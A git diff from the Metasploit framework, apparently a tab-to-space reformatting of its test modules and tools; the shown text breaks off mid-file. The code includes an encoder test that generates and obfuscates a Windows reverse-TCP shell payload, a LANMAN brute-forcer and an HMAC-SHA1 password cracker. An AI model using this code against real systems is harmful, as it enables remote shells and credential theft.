#{datastore['SSERVICE']}") - results = service_start(datastore['SSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status("Current status of this service " + - "#{service_query_ex(datastore['SSERVICE']).pretty_inspect}") if blab - print_status("Sleeping to give the service a chance to start") - select(nil, nil, nil, 2) # give the service time to start, reduces false negatives + print_status() + print_status("TESTING service_start on servicename: #{datastore['SSERVICE']}") + results = service_start(datastore['SSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status("Current status of this service " + + "#{service_query_ex(datastore['SSERVICE']).pretty_inspect}") if blab + print_status("Sleeping to give the service a chance to start") + select(nil, nil, nil, 2) # give the service time to start, reduces false negatives - print_status() - print_status("TESTING service_stop on servicename: #{datastore['SSERVICE']}") - results = service_stop(datastore['SSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status("Current status of this service " + - "#{service_query_ex(datastore['SSERVICE']).pretty_inspect}") if blab + print_status() + print_status("TESTING service_stop on servicename: #{datastore['SSERVICE']}") + results = service_stop(datastore['SSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status("Current status of this service " + + "#{service_query_ex(datastore['SSERVICE']).pretty_inspect}") if blab - print_status() - print_status("TESTING service_delete on servicename: #{datastore['NSERVICE']}") - results = service_delete(datastore['NSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status("Current status of this service " + - "#{service_query_ex(datastore['QSERVICE']).pretty_inspect}") if blab - print_status() - print_status("Testing complete.") - end + print_status() + print_status("TESTING service_delete on servicename: #{datastore['NSERVICE']}") + results = service_delete(datastore['NSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status("Current status of this service " + + "#{service_query_ex(datastore['QSERVICE']).pretty_inspect}") if blab + print_status() + print_status("Testing complete.") + end =end end diff --git a/test/modules/post/test/unix.rb b/test/modules/post/test/unix.rb index c71954179e..a637c7ccac 100644 --- a/test/modules/post/test/unix.rb +++ b/test/modules/post/test/unix.rb @@ -9,42 +9,42 @@ require 'module_test' class Metasploit4 < Msf::Post - include Msf::ModuleTest::PostTest - include Msf::Post::Linux::System - include Msf::Post::Unix - include Msf::Post::Common + include Msf::ModuleTest::PostTest + include Msf::Post::Linux::System + include Msf::Post::Unix + include Msf::Post::Common - def initialize(info={}) - super( update_info( info, - 'Name' => 'Testing Remote Unix System Manipulation', - 'Description' => %q{ This module will test Post::File API methods }, - 'License' => MSF_LICENSE, - 'Author' => [ 'egypt'], - 'Platform' => [ 'linux', 'java' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] - )) - end + def initialize(info={}) + super( update_info( info, + 'Name' => 'Testing Remote Unix System Manipulation', + 'Description' => %q{ This module will test Post::File API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt'], + 'Platform' => [ 'linux', 'java' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + )) + end - def test_unix - it "should list users" do - ret = true - users = get_users - ret &&= users.kind_of? Array - ret &&= users.length > 0 - have_root = false - if ret - users.each { |u| - next unless u[:name] == "root" - have_root = true - } - end - ret - ret &&= have_root + def test_unix + it "should list users" do + ret = true + users = get_users + ret &&= users.kind_of? Array + ret &&= users.length > 0 + have_root = false + if ret + users.each { |u| + next unless u[:name] == "root" + have_root = true + } + end + ret + ret &&= have_root - ret - end + ret + end - end + end end diff --git a/test/tests/00_create_all_modules_test.rb b/test/tests/00_create_all_modules_test.rb index 52b1ff8c59..e9ebc7afcc 100644 --- a/test/tests/00_create_all_modules_test.rb +++ b/test/tests/00_create_all_modules_test.rb @@ -1,12 +1,12 @@ require 'testbase' describe Msf::Simple::Framework do - $msf.modules.each_module do |name, mod| - ref = name - klass = mod - it "should be able create #{ref}" do - e = $msf.modules.create(ref) + $msf.modules.each_module do |name, mod| + ref = name + klass = mod + it "should be able create #{ref}" do + e = $msf.modules.create(ref) e.should_not == nil - end - end + end + end end diff --git a/test/tests/01_all_exploits_have_payloads_test.rb b/test/tests/01_all_exploits_have_payloads_test.rb index 20e985bed2..8a511ba204 100644 --- a/test/tests/01_all_exploits_have_payloads_test.rb +++ b/test/tests/01_all_exploits_have_payloads_test.rb @@ -1,14 +1,14 @@ require 'testbase' describe Msf::Simple::Framework do - $msf.exploits.each_module do |name, mod| - e = $msf.exploits.create(name) - e.targets.each_with_index do |t, idx| - it "#{name} target #{idx} should have compatible payloads" do - e.datastore['TARGET'] = idx - r = e.compatible_payloads - r.length.should_not == 0 - end - end - end + $msf.exploits.each_module do |name, mod| + e = $msf.exploits.create(name) + e.targets.each_with_index do |t, idx| + it "#{name} target #{idx} should have compatible payloads" do + e.datastore['TARGET'] = idx + r = e.compatible_payloads + r.length.should_not == 0 + end + end + end end diff --git a/test/tests/test_encoders.rb b/test/tests/test_encoders.rb index d59df128ea..429b56f95c 100644 --- a/test/tests/test_encoders.rb +++ b/test/tests/test_encoders.rb @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) @@ -20,100 +20,100 @@ $msf = Msf::Simple::Framework.create EXPLOITS = $msf.exploits def print_line( message ) - $stdout.puts( message ) + $stdout.puts( message ) end def format_badchars( badchars ) - str = '' - if( badchars ) - badchars.each_byte do | b | - str << "\\x%02X" % [ b ] - end - end - str + str = '' + if( badchars ) + badchars.each_byte do | b | + str << "\\x%02X" % [ b ] + end + end + str end def encoder_v_payload( encoder_name, payload, verbose=false ) - success = 0 - fail = 0 - EXPLOITS.each_module do | name, mod | - - exploit = mod.new - print_line( "\n#{encoder_name} v #{name} (#{ format_badchars( exploit.payload_badchars ) })" ) if verbose - begin - encoder = $msf.encoders.create( encoder_name ) - raw = encoder.encode( payload, exploit.payload_badchars, nil, nil ) - success += 1 - rescue - print_line( " FAILED! badchars=#{ format_badchars( exploit.payload_badchars ) }\n" ) if verbose - fail += 1 - end - end - return [ success, fail ] + success = 0 + fail = 0 + EXPLOITS.each_module do | name, mod | + + exploit = mod.new + print_line( "\n#{encoder_name} v #{name} (#{ format_badchars( exploit.payload_badchars ) })" ) if verbose + begin + encoder = $msf.encoders.create( encoder_name ) + raw = encoder.encode( payload, exploit.payload_badchars, nil, nil ) + success += 1 + rescue + print_line( " FAILED! badchars=#{ format_badchars( exploit.payload_badchars ) }\n" ) if verbose + fail += 1 + end + end + return [ success, fail ] end def generate_payload( name ) - payload = $msf.payloads.create( name ) - - # set options for a reverse_tcp payload - payload.datastore['LHOST'] = '192.168.2.1' - payload.datastore['RHOST'] = '192.168.2.254' - payload.datastore['RPORT'] = '5432' - payload.datastore['LPORT'] = '4444' - # set options for an exec payload - payload.datastore['CMD'] = 'calc' - # set generic options - payload.datastore['EXITFUNC'] = 'thread' + payload = $msf.payloads.create( name ) + + # set options for a reverse_tcp payload + payload.datastore['LHOST'] = '192.168.2.1' + payload.datastore['RHOST'] = '192.168.2.254' + payload.datastore['RPORT'] = '5432' + payload.datastore['LPORT'] = '4444' + # set options for an exec payload + payload.datastore['CMD'] = 'calc' + # set generic options + payload.datastore['EXITFUNC'] = 'thread' - return payload.generate + return payload.generate end def run( encoders, payload_name, verbose=false ) - payload = generate_payload( payload_name ) + payload = generate_payload( payload_name ) - table = Rex::Ui::Text::Table.new( - 'Header' => 'Encoder v Payload Test - ' + ::Time.new.strftime( "%d-%b-%Y %H:%M:%S" ), - 'Indent' => 4, - 'Columns' => [ 'Encoder Name', 'Success', 'Fail' ] - ) + table = Rex::Ui::Text::Table.new( + 'Header' => 'Encoder v Payload Test - ' + ::Time.new.strftime( "%d-%b-%Y %H:%M:%S" ), + 'Indent' => 4, + 'Columns' => [ 'Encoder Name', 'Success', 'Fail' ] + ) - encoders.each do | encoder_name | + encoders.each do | encoder_name | - success, fail = encoder_v_payload( encoder_name, payload, verbose ) + success, fail = encoder_v_payload( encoder_name, payload, verbose ) - table << [ encoder_name, success, fail ] - - end + table << [ encoder_name, success, fail ] + + end - return table + return table end if( $0 == __FILE__ ) - print_line( "[+] Starting.\n" ) + print_line( "[+] Starting.\n" ) - encoders = [ - 'x86/bloxor', - 'x86/shikata_ga_nai', - 'x86/jmp_call_additive', - 'x86/fnstenv_mov', - 'x86/countdown', - 'x86/call4_dword_xor' - ] + encoders = [ + 'x86/bloxor', + 'x86/shikata_ga_nai', + 'x86/jmp_call_additive', + 'x86/fnstenv_mov', + 'x86/countdown', + 'x86/call4_dword_xor' + ] - payload_name = 'windows/shell/reverse_tcp' - - verbose = false - - result_table = run( encoders, payload_name, verbose ) + payload_name = 'windows/shell/reverse_tcp' + + verbose = false + + result_table = run( encoders, payload_name, verbose ) - print_line( "\n\n#{result_table.to_s}\n\n" ) + print_line( "\n\n#{result_table.to_s}\n\n" ) - print_line( "[+] Finished.\n" ) + print_line( "[+] Finished.\n" ) end - \ No newline at end of file + \ No newline at end of file diff --git a/tools/committer_count.rb b/tools/committer_count.rb index 0b3bf42a03..f0b6a97827 100755 --- a/tools/committer_count.rb +++ b/tools/committer_count.rb @@ -28,43 +28,43 @@ end @commits_by_author = {} def parse_date(date) - case date - when /([0-9]+)y(ear)?s?/ - seconds = $1.to_i* (60*60*24*365.25) - calc_date = (Time.now - seconds).strftime("%Y-%m-%d") - when /([0-9]+)m(onth)?s?/ - seconds = $1.to_i* (60*60*24*(365.25 / 12)) - calc_date = (Time.now - seconds).strftime("%Y-%m-%d") - when /([0-9]+)w(eek)?s?/ - seconds = $1.to_i* (60*60*24*7) - calc_date = (Time.now - seconds).strftime("%Y-%m-%d") - when /([0-9]+)d(ay)?s?/ - seconds = $1.to_i* (60*60*24) - calc_date = (Time.now - seconds).strftime("%Y-%m-%d") - else - calc_date = Time.new(date).strftime("%Y-%m-%d") - end + case date + when /([0-9]+)y(ear)?s?/ + seconds = $1.to_i* (60*60*24*365.25) + calc_date = (Time.now - seconds).strftime("%Y-%m-%d") + when /([0-9]+)m(onth)?s?/ + seconds = $1.to_i* (60*60*24*(365.25 / 12)) + calc_date = (Time.now - seconds).strftime("%Y-%m-%d") + when /([0-9]+)w(eek)?s?/ + seconds = $1.to_i* (60*60*24*7) + calc_date = (Time.now - seconds).strftime("%Y-%m-%d") + when /([0-9]+)d(ay)?s?/ + seconds = $1.to_i* (60*60*24) + calc_date = (Time.now - seconds).strftime("%Y-%m-%d") + else + calc_date = Time.new(date).strftime("%Y-%m-%d") + end end date = ARGV[0] || "2005-03-22" # A day before the first SVN commit. calc_date = parse_date(date) @history.each_line do |line| - parsed_line = line.match(/^([^\s+]+)\s(.{7,})\s'(.*)'\s(.*)[\r\n]*$/) - next unless parsed_line - break if calc_date == parsed_line[1] - @recent_history << GitLogLine.new(*parsed_line[1,4]) + parsed_line = line.match(/^([^\s+]+)\s(.{7,})\s'(.*)'\s(.*)[\r\n]*$/) + next unless parsed_line + break if calc_date == parsed_line[1] + @recent_history << GitLogLine.new(*parsed_line[1,4]) end @recent_history.each do |logline| - @commits_by_author[logline.author] ||= [] - @commits_by_author[logline.author] << logline.message + @commits_by_author[logline.author] ||= [] + @commits_by_author[logline.author] << logline.message end puts "Commits since #{calc_date}" puts "-" * 50 @commits_by_author.sort_by {|k,v| v.size}.reverse.each do |k,v| - puts "%-25s %3d" % [k,v.size] + puts "%-25s %3d" % [k,v.size] end diff --git a/tools/convert_31.rb b/tools/convert_31.rb index c11e0d09f7..a35c6e3174 100755 --- a/tools/convert_31.rb +++ b/tools/convert_31.rb @@ -10,38 +10,38 @@ outp = "" endc = 0 data.each_line do |line| - if(line =~ /^\s*module\s+[A-Z]/) - endc += 1 - next - end + if(line =~ /^\s*module\s+[A-Z]/) + endc += 1 + next + end - if(line =~ /^(\s*)include (.*)/) - spaces = $1 - inc = $2 - if (inc !~ /Msf/) - line = "#{spaces}include Msf::#{inc.strip}\n" - end - end + if(line =~ /^(\s*)include (.*)/) + spaces = $1 + inc = $2 + if (inc !~ /Msf/) + line = "#{spaces}include Msf::#{inc.strip}\n" + end + end - if(line =~ /^(\s*)class ([^\<]+)\s*<\s*(.*)/) - prefix = "" - spaces = $1 - parent = $3 + if(line =~ /^(\s*)class ([^\<]+)\s*<\s*(.*)/) + prefix = "" + spaces = $1 + parent = $3 - if(parent !~ /^Msf/) - prefix = "Msf::" - end - line = "#{spaces}class Metasploit3 < #{prefix}#{parent.strip}\n" - end + if(parent !~ /^Msf/) + prefix = "Msf::" + end + line = "#{spaces}class Metasploit3 < #{prefix}#{parent.strip}\n" + end - outp += line + outp += line end endc.downto(1) do |idx| - i = outp.rindex("end") - outp[i, 4] = "" if i + i = outp.rindex("end") + outp[i, 4] = "" if i end outp.rstrip! diff --git a/tools/dev/retab.rb b/tools/dev/retab.rb index 8205ac2495..45323edc20 100755 --- a/tools/dev/retab.rb +++ b/tools/dev/retab.rb @@ -35,6 +35,7 @@ def is_ruby?(fname) end Find.find(dir) do |infile| + next if infile =~ /\.git[\x5c\x2f]/ next unless File.file? infile next unless is_ruby? infile outfile = infile diff --git a/tools/dev/set_binary_encoding.rb b/tools/dev/set_binary_encoding.rb index 511e03b54b..059f4165f4 100644 --- a/tools/dev/set_binary_encoding.rb +++ b/tools/dev/set_binary_encoding.rb @@ -8,18 +8,18 @@ data = '' done = nil fd = ::File.open(fname, "rb") fd.each_line do |line| - if line =~ /^#.*coding:.*/ - done = true - end + if line =~ /^#.*coding:.*/ + done = true + end if not done - unless line =~ /^#\!.*env ruby/ - data << str + "\n" - done = true - end - end + unless line =~ /^#\!.*env ruby/ + data << str + "\n" + done = true + end + end - data << line + data << line end fd.close diff --git a/tools/exe2vba.rb b/tools/exe2vba.rb index 22e674bf39..e40912dfc6 100755 --- a/tools/exe2vba.rb +++ b/tools/exe2vba.rb @@ -10,7 +10,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,15 +23,15 @@ require 'rex' require 'msf/base' def usage - $stderr.puts(" Usage: #{$0} [exe] [vba]\n") - exit + $stderr.puts(" Usage: #{$0} [exe] [vba]\n") + exit end exe = ARGV.shift vba = ARGV.shift if (not (exe and vba)) - usage + usage end out = File.new(vba, "w") @@ -39,7 +39,7 @@ inp = File.open(exe, "rb") dat = "" while(buf = inp.read(8192)) - dat << buf + dat << buf end out.write(Msf::Util::EXE.to_exe_vba(dat)) diff --git a/tools/exe2vbs.rb b/tools/exe2vbs.rb index e4c47240ae..b4b54df1bb 100755 --- a/tools/exe2vbs.rb +++ b/tools/exe2vbs.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -22,15 +22,15 @@ require 'rex' require 'msf/base' def usage - $stderr.puts(" Usage: #{$0} [exe] [vbs]\n") - exit + $stderr.puts(" Usage: #{$0} [exe] [vbs]\n") + exit end exe = ARGV.shift vbs = ARGV.shift if (not (exe and vbs)) - usage + usage end out = File.new(vbs, "w") @@ -38,7 +38,7 @@ inp = File.open(exe, "rb") dat = "" while(buf = inp.read(8192)) - dat << buf + dat << buf end out.write(Msf::Util::EXE.to_exe_vbs(dat)) diff --git a/tools/find_badchars.rb b/tools/find_badchars.rb index 661392eb15..319e9981eb 100755 --- a/tools/find_badchars.rb +++ b/tools/find_badchars.rb @@ -10,7 +10,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -24,33 +24,33 @@ OutStatus = "[*] " OutError = "[-] " $args = Rex::Parser::Arguments.new( - "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], - "-h" => [ false, "Help banner" ], - "-i" => [ true, "Read memory contents from the supplied file path" ], - "-t" => [ true, "The format that the memory contents are in (empty to list)" ]) + "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], + "-h" => [ false, "Help banner" ], + "-i" => [ true, "Read memory contents from the supplied file path" ], + "-t" => [ true, "The format that the memory contents are in (empty to list)" ]) def usage - $stderr.puts("\n" + " Usage: #{File.basename($0)} <options>\n" + $args.usage) - exit + $stderr.puts("\n" + " Usage: #{File.basename($0)} <options>\n" + $args.usage) + exit end def show_format_list - $stderr.puts("Supported formats:\n") - $stderr.puts(" raw raw binary data\n") - $stderr.puts(" windbg output from windbg's \"db\" command\n") - $stderr.puts(" gdb output from gdb's \"x/bx\" command\n") - $stderr.puts(" hex hex bytes like \"\\xFF\\x41\" or \"eb fe\"\n") + $stderr.puts("Supported formats:\n") + $stderr.puts(" raw raw binary data\n") + $stderr.puts(" windbg output from windbg's \"db\" command\n") + $stderr.puts(" gdb output from gdb's \"x/bx\" command\n") + $stderr.puts(" hex hex bytes like \"\\xFF\\x41\" or \"eb fe\"\n") end def debug_buffer(name, buf) - str = "\n#{buf.length} bytes of " - str << name - str += ":" if buf.length > 0 - str += "\n\n" - $stderr.puts str - if buf.length > 0 - $stderr.puts Rex::Text.to_hex_dump(buf) - end + str = "\n#{buf.length} bytes of " + str << name + str += ":" if buf.length > 0 + str += "\n\n" + $stderr.puts str + if buf.length > 0 + $stderr.puts Rex::Text.to_hex_dump(buf) + end end @@ -64,34 +64,34 @@ new_badchars = '' # Parse the argument and rock that shit. $args.parse(ARGV) { |opt, idx, val| - case opt - when "-i" - begin - input = File.new(val) - rescue - $stderr.puts(OutError + "Failed to open file #{val}: #{$!}") - exit - end - when "-b" - badchars = Rex::Text.hex_to_raw(val) - when "-t" - if (val =~ /^(raw|windbg|gdb|hex)$/) - fmt = val - else - if val.nil? or val.length < 1 - show_format_list - else - $stderr.puts(OutError + "Invalid format: #{val}") - end - exit - end - when "-h" - usage - end + case opt + when "-i" + begin + input = File.new(val) + rescue + $stderr.puts(OutError + "Failed to open file #{val}: #{$!}") + exit + end + when "-b" + badchars = Rex::Text.hex_to_raw(val) + when "-t" + if (val =~ /^(raw|windbg|gdb|hex)$/) + fmt = val + else + if val.nil? or val.length < 1 + show_format_list + else + $stderr.puts(OutError + "Invalid format: #{val}") + end + exit + end + when "-h" + usage + end } if input == $stdin - $stderr.puts(OutStatus + "Please paste the memory contents in \"" + fmt + "\" format below (end with EOF):\n") + $stderr.puts(OutStatus + "Please paste the memory contents in \"" + fmt + "\" format below (end with EOF):\n") end @@ -104,29 +104,29 @@ from_dbg = '' # Process the input from_dbg = input.read case fmt - when "raw" - # this should already be in the correct format :) + when "raw" + # this should already be in the correct format :) - when "windbg" - translated = '' - from_dbg.each_line do |ln| - translated << ln.chomp[10,47].gsub!(/(-| )/, '') - end - from_dbg = Rex::Text.hex_to_raw(translated) - - when "gdb" - translated = '' - from_dbg.each_line do |ln| - translated << ln.chomp.split(':')[1].gsub!(/0x/, '\x').gsub!(/ /, '') - end - from_dbg = Rex::Text.hex_to_raw(translated) + when "windbg" + translated = '' + from_dbg.each_line do |ln| + translated << ln.chomp[10,47].gsub!(/(-| )/, '') + end + from_dbg = Rex::Text.hex_to_raw(translated) + + when "gdb" + translated = '' + from_dbg.each_line do |ln| + translated << ln.chomp.split(':')[1].gsub!(/0x/, '\x').gsub!(/ /, '') + end + from_dbg = Rex::Text.hex_to_raw(translated) - when "hex" - translated = '' - from_dbg.each_line do |ln| - translated << ln.chomp.gsub!(/ /,'') - end - from_dbg = Rex::Text.hex_to_raw(translated) + when "hex" + translated = '' + from_dbg.each_line do |ln| + translated << ln.chomp.gsub!(/ /,'') + end + from_dbg = Rex::Text.hex_to_raw(translated) end @@ -145,19 +145,19 @@ from_dbg = from_dbg.unpack('C*') minlen = from_msf.length minlen = from_dbg.length if from_dbg.length < minlen (0..(minlen-1)).each do |idx| - ch1 = from_msf[idx] - ch2 = from_dbg[idx] - if ch1 != ch2 - str = "Byte at index 0x%04x differs (0x%02x became 0x%02x)" % [idx, ch1, ch2] - $stderr.puts OutStatus + str - new_badchars << ch1 - end + ch1 = from_msf[idx] + ch2 = from_dbg[idx] + if ch1 != ch2 + str = "Byte at index 0x%04x differs (0x%02x became 0x%02x)" % [idx, ch1, ch2] + $stderr.puts OutStatus + str + new_badchars << ch1 + end end # show the results if new_badchars.length < 1 - $stderr.puts(OutStatus + "All characters matched, no new bad characters discovered.") + $stderr.puts(OutStatus + "All characters matched, no new bad characters discovered.") else - $stderr.puts(OutStatus + "Proposed BadChars: \"" + Rex::Text.to_hex(new_badchars) + "\"") + $stderr.puts(OutStatus + "Proposed BadChars: \"" + Rex::Text.to_hex(new_badchars) + "\"") end diff --git a/tools/halflm_second.rb b/tools/halflm_second.rb index 4e877981cd..3931589373 100755 --- a/tools/halflm_second.rb +++ b/tools/halflm_second.rb @@ -12,7 +12,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,63 +23,63 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'rex' def usage - $stderr.puts("\n" + " Usage: #{$0} <options>\n" + $args.usage) - exit + $stderr.puts("\n" + " Usage: #{$0} <options>\n" + $args.usage) + exit end def try(word,challenge) - buf = ::Rex::Proto::NTLM::Crypt.lanman_des(word, challenge) - buf.unpack("H*")[0] + buf = ::Rex::Proto::NTLM::Crypt.lanman_des(word, challenge) + buf.unpack("H*")[0] end hash = pass = chall = nil $args = Rex::Parser::Arguments.new( - "-n" => [ true, "The encypted LM hash to crack" ], - "-p" => [ true, "The decrypted LANMAN password for bytes 1-7" ], - "-s" => [ true, "The server challenge (default value 1122334455667788)" ], - "-h" => [ false, "Display this help information" ]) + "-n" => [ true, "The encypted LM hash to crack" ], + "-p" => [ true, "The decrypted LANMAN password for bytes 1-7" ], + "-s" => [ true, "The server challenge (default value 1122334455667788)" ], + "-h" => [ false, "Display this help information" ]) $args.parse(ARGV) { |opt, idx, val| - case opt - when "-n" - hash = val - when "-p" - pass = val - when "-s" - chall = val - when "-h" - usage - else - usage - end + case opt + when "-n" + hash = val + when "-p" + pass = val + when "-s" + chall = val + when "-h" + usage + else + usage + end } if (not (hash and pass)) - usage + usage end if (not chall) - chall = ["1122334455667788"].pack("H*") + chall = ["1122334455667788"].pack("H*") else - if not chall =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - else - chall = [chall].pack("H*") - end + if not chall =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + else + chall = [chall].pack("H*") + end end if(hash.length != 48) - $stderr.puts "[*] LANMAN should be exactly 48 bytes of hexadecimal" - exit + $stderr.puts "[*] LANMAN should be exactly 48 bytes of hexadecimal" + exit end if(pass.length != 7) - $stderr.puts "[*] Cracked LANMAN password should be exactly 7 characters" - exit + $stderr.puts "[*] Cracked LANMAN password should be exactly 7 characters" + exit end @@ -92,22 +92,22 @@ cset = [*(1..255)].pack("C*").upcase.unpack("C*").uniq stime = Time.now.to_f puts "[*] Trying one character..." 0.upto(cset.length-1) do |c1| - test = pass + cset[c1].chr - if(try(test, chall) == hash) - puts "[*] Cracked: #{test}" - exit - end + test = pass + cset[c1].chr + if(try(test, chall) == hash) + puts "[*] Cracked: #{test}" + exit + end end etime = Time.now.to_f - stime puts "[*] Trying two characters (eta: #{etime * cset.length} seconds)..." 0.upto(cset.length-1) do |c1| 0.upto(cset.length-1) do |c2| - test = pass + cset[c1].chr + cset[c2].chr - if(try(test, chall) == hash) - puts "[*] Cracked: #{test}" - exit - end + test = pass + cset[c1].chr + cset[c2].chr + if(try(test, chall) == hash) + puts "[*] Cracked: #{test}" + exit + end end end @@ -115,11 +115,11 @@ puts "[*] Trying three characters (eta: #{etime * cset.length * cset.length} sec 0.upto(cset.length-1) do |c1| 0.upto(cset.length-1) do |c2| 0.upto(cset.length-1) do |c3| - test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr - if(try(test, chall) == hash) - puts "[*] Cracked: #{test}" - exit - end + test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr + if(try(test, chall) == hash) + puts "[*] Cracked: #{test}" + exit + end end end end @@ -130,11 +130,11 @@ puts "[*] Trying four characters (eta: #{etime * cset.length * cset.length * cse 0.upto(cset.length-1) do |c2| 0.upto(cset.length-1) do |c3| 0.upto(cset.length-1) do |c4| - test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr + cset[c4].chr - if(try(test, chall) == hash) - puts "[*] Cracked: #{test}" - exit - end + test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr + cset[c4].chr + if(try(test, chall) == hash) + puts "[*] Cracked: #{test}" + exit + end end end end diff --git a/tools/hmac_sha1_crack.rb b/tools/hmac_sha1_crack.rb index 9cab5a991a..55032893e2 100755 --- a/tools/hmac_sha1_crack.rb +++ b/tools/hmac_sha1_crack.rb @@ -12,7 +12,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -25,9 +25,9 @@ require 'rex' require 'openssl' def usage - $stderr.puts("\nUsage: #{$0} hashes.txt <wordlist | - >\n") - $stderr.puts("The format of hash file is <identifier>:<hex-salt>:<hash>\n\n") - exit + $stderr.puts("\nUsage: #{$0} hashes.txt <wordlist | - >\n") + $stderr.puts("The format of hash file is <identifier>:<hex-salt>:<hash>\n\n") + exit end @@ -40,23 +40,23 @@ hash_fd = ::File.open(hash_inp, "rb") word_fd = $stdin if word_inp != "-" - word_fd = ::File.open(word_inp, "rb") + word_fd = ::File.open(word_inp, "rb") end hashes = [] hash_fd.each_line do |line| - next unless line.strip.length > 0 - h_id, h_salt, h_hash = line.unpack("C*").pack("C*").strip.split(':', 3) + next unless line.strip.length > 0 + h_id, h_salt, h_hash = line.unpack("C*").pack("C*").strip.split(':', 3) - unless h_id and h_salt and h_hash - $stderr.puts "[-] Invalid hash entry, missing field: #{line}" - next - end - unless h_salt =~ /^[a-f0-9]+$/i - $stderr.puts "[-] Invalid hash entry, salt must be in hex: #{line}" - next - end - hashes << [h_id, [h_salt].pack("H*"), [h_hash].pack("H*") ] + unless h_id and h_salt and h_hash + $stderr.puts "[-] Invalid hash entry, missing field: #{line}" + next + end + unless h_salt =~ /^[a-f0-9]+$/i + $stderr.puts "[-] Invalid hash entry, salt must be in hex: #{line}" + next + end + hashes << [h_id, [h_salt].pack("H*"), [h_hash].pack("H*") ] end hash_fd.close @@ -66,23 +66,23 @@ count = 0 cracked = 0 word_fd.each_line do |line| - # Preferable to strip so we can test passwords made of whitespace (or null) - line = line.unpack("C*").pack("C*").sub(/\r?\n?$/, '') - hashes.each do |hinfo| - if OpenSSL::HMAC.digest('sha1', line.to_s, hinfo[1]) == hinfo[2] - $stdout.puts [ hinfo[0], hinfo[1].unpack("H*").first, hinfo[2].unpack("H*").first, line.to_s ].join(":") - $stdout.flush - hinfo[3] = true - cracked += 1 - end - count += 1 - - if count % 2500000 == 0 - $stderr.puts "[*] Found #{cracked} passwords with #{hashes.length} left (#{(count / (Time.now.to_f - stime)).to_i}/s)" - end - end - hashes.delete_if {|e| e[3] } - break if hashes.length == 0 + # Preferable to strip so we can test passwords made of whitespace (or null) + line = line.unpack("C*").pack("C*").sub(/\r?\n?$/, '') + hashes.each do |hinfo| + if OpenSSL::HMAC.digest('sha1', line.to_s, hinfo[1]) == hinfo[2] + $stdout.puts [ hinfo[0], hinfo[1].unpack("H*").first, hinfo[2].unpack("H*").first, line.to_s ].join(":") + $stdout.flush + hinfo[3] = true + cracked += 1 + end + count += 1 + + if count % 2500000 == 0 + $stderr.puts "[*] Found #{cracked} passwords with #{hashes.length} left (#{(count / (Time.now.to_f - stime)).to_i}/s)" + end + end + hashes.delete_if {|e| e[3] } + break if hashes.length == 0 end word_fd.close diff --git a/tools/import_webscarab.rb b/tools/import_webscarab.rb index 9a8ab88c49..f68a949c5d 100755 --- a/tools/import_webscarab.rb +++ b/tools/import_webscarab.rb @@ -16,19 +16,19 @@ puts "--- WMAP WebScarab Session Importer -------------------------------------- puts if ARGV.length < 2 - $stderr.puts("Usage: #{File.basename($0)} wescarabdirectory sqlite3database [target] [startrequest]") - $stderr.puts - $stderr.puts("webscarabdirectory\tThe directory where you stored the webscarab session") - $stderr.puts("sqlite3database\t\tThe name of the database file") - $stderr.puts("target\t\t\tThe target (host or domain) you want to add to the database") - $stderr.puts("startrequest\tThe request to start with...") - $stderr.puts - $stderr.puts("Examples:") - $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db") - $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db www.example.com") - $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db example.com") - $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db www.example.com 21") - exit + $stderr.puts("Usage: #{File.basename($0)} wescarabdirectory sqlite3database [target] [startrequest]") + $stderr.puts + $stderr.puts("webscarabdirectory\tThe directory where 